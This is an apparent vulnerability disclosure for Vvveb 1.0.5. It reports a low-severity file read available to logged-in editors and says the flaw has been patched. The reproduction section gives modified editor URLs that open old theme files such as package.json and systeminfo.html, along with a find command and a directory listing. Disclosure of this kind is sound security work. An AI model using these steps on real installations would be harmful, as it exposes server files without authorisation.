Vvveb 1.0.5 | Authenticated file read as an editor

Basic Information

Software Type Web App
Software Name Vvveb
Affected Version 1.0.5
Software Vendor Vvveb
Software Link https://github.com/givanz/Vvveb
Severity Low
CVSS Score 3.5
Affected Assets 100+
Date of Discovery Jan 3rd, 2025

Description

The endpoint at [/vadmin123/index.php?module=editor/editor&url=/&template=index.html] is vulnerable to file read. The vulnerability allows you to read old Vvveb files that were previously being used by an older Vvveb version.
Its current severity is low because I wasn't able to read sensitive files.

Reproduce

Login as an editor or any user with access to “Edit website” functionality. Open the following endpoint:
http://127.0.0.1/vadmin123/index.php?module=editor/editor&url=/&template=index.html

Change the path to this:
http://127.0.0.1/vadmin123/index.php?module=editor/editor&url=index.html

This will allow you to open files located at the following server path:
/var/www/html/public/admin/default

I found this file by searching for a keyword I had found on index.html [editor/editor&url=index.html]:
find . -type f -exec grep -l 'Vvveb 0.2 is now available!' {} +

This directly contains the following files:
/var/www/html/public/admin/default # ls -la

total 448
drwx-wx-wx   22 www-data www-data      4096 Jan  3 14:56 .
drwx-wx-wx    3 www-data www-data      4096 Jan  3 14:57 ..
-rwx-wx-wx    1 www-data www-data     10173 Jan  3 14:56 LICENSE
-rwx-wx-wx    1 www-data www-data      5378 Jan  3 14:56 README.md
drwx-wx-wx    2 www-data www-data      4096 Jan  3 14:56 admin
drwx-wx-wx    3 www-data www-data      4096 Jan  3 14:56 content
drwx-wx-wx    2 www-data www-data      4096 Jan  3 14:56 css
drwx-wx-wx    2 www-data www-data      4096 Jan  3 14:56 editor
drwx-wx-wx    4 www-data www-data      4096 Jan  3 14:56 email
-rwx-wx-wx    1 www-data www-data     73835 Jan  3 14:56 error403.html
-rwx-wx-wx    1 www-data www-data     73408 Jan  3 14:56 error404.html
-rwx-wx-wx    1 www-data www-data     74142 Jan  3 14:56 error500.html
-rwx-wx-wx    1 www-data www-data      3150 Jan  3 14:56 favicon.ico
drwx-wx-wx    2 www-data www-data      4096 Jan  3 14:56 field
drwx-wx-wx    2 www-data www-data      4096 Jan  3 14:56 fields

You can open files for reading. I was able to read package.json:
http://127.0.0.1/vadmin123/index.php?module=editor/editor&url=package.json

Some old files like systeminfo.html may provide information about old configuration used by the web app:
http://127.0.0.1/vadmin123/index.php?module=editor/editor&url=tools/systeminfo.html

Proof of Concept (PoC) Video

PoC Exploit

N/A

Mitigation

N/A

Patch

Vvveb added checks for url and template if they have extensions to load only html files that exists in the current theme folder, url get parameter is only used to set the editor iframe src, the url is not fetched/processed with php.



Posted on: January 10, 2025 11:22 PM